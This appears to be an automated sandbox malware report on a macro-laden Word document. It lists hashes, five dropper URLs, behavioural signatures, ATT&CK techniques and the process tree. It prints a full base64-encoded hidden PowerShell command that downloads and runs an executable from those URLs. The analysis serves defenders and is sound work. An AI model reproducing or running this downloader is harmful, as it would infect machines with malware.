0bd257e26bda835e47c969b15534150f09ba35163b629c2d68d7989fca078785

General

Target

0bd257e26bda835e47c969b15534150f09ba35163b629c2d68d7989fca078785.doc
Size

171KB
MD5

d35cbebf9aba834ed881d59e0be90b1a
SHA1

654e9efa817bb13f1cb98e64dc33eb2292869a57
SHA256

0bd257e26bda835e47c969b15534150f09ba35163b629c2d68d7989fca078785
SHA512

55f9afafe94eabe27126e7e6dbcd1addf8186fda60b277b657d345bd8f57d76800b5068dd851bbfa84f160161257e00fe95387bfe19fa86af05e1b73f82b5edc
SSDEEP

3072:f12y/GdyDktGDWLS0HZWD5w8K7Nk9dD7IBUgNGp4HAIoy:f12k4DtGiL3HJk9dD7bsPHAID

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4088	960	Powershell.exe	83

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	4088	Powershell.exe
74	4088	Powershell.exe
76	4088	Powershell.exe
77	4088	Powershell.exe
79	4088	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4088	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4236	WINWORD.EXE
4236	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4088	Powershell.exe
4088	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4088	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4236	WINWORD.EXE
4236	WINWORD.EXE
4236	WINWORD.EXE
4236	WINWORD.EXE
4236	WINWORD.EXE
4236	WINWORD.EXE
4236	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 2696	4236	WINWORD.EXE	86
PID 4236 wrote to memory of 2696	4236	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0bd257e26bda835e47c969b15534150f09ba35163b629c2d68d7989fca078785.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\54382575.wmf

Filesize
444B

MD5
4493213f4cb16a06c5322b5501bbfae3

SHA1
74cafeec5e45f4c891aaeba29bb7d9f8876cbf11

SHA256
7d0aeadfb0d71f6bf2ffda182314a388d23d1fed6395f9363883aadb4b886fc2

SHA512
5737ba2efc1f629199c18c2043b8e9820bd896ec0c5ed93167e07d1de1a54f0ef74f98892078965090655d7122fb07e8b5cb5c765bbe4669ff31e89e0ef40d37

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCC6E.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4pqno4m.5j0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4088-55-0x000001DC9BDA0000-0x000001DC9BDC2000-memory.dmp

Filesize
136KB

Download
memory/4236-9-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-19-0x00007FF8985B0000-0x00007FF8985C0000-memory.dmp

Filesize
64KB

Download
memory/4236-11-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-0-0x00007FF89AE10000-0x00007FF89AE20000-memory.dmp

Filesize
64KB

Download
memory/4236-8-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-7-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-10-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-12-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-15-0x00007FF8985B0000-0x00007FF8985C0000-memory.dmp

Filesize
64KB

Download
memory/4236-16-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-18-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-4-0x00007FF89AE10000-0x00007FF89AE20000-memory.dmp

Filesize
64KB

Download
memory/4236-17-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-14-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-13-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-6-0x00007FF89AE10000-0x00007FF89AE20000-memory.dmp

Filesize
64KB

Download
memory/4236-5-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-3-0x00007FF89AE10000-0x00007FF89AE20000-memory.dmp

Filesize
64KB

Download
memory/4236-2-0x00007FF89AE10000-0x00007FF89AE20000-memory.dmp

Filesize
64KB

Download
memory/4236-70-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-71-0x00007FF8DAE2D000-0x00007FF8DAE2E000-memory.dmp

Filesize
4KB

Download
memory/4236-72-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-73-0x00007FF8DAD90000-0x00007FF8DAF85000-memory.dmp

Filesize
2.0MB

Download
memory/4236-1-0x00007FF8DAE2D000-0x00007FF8DAE2E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads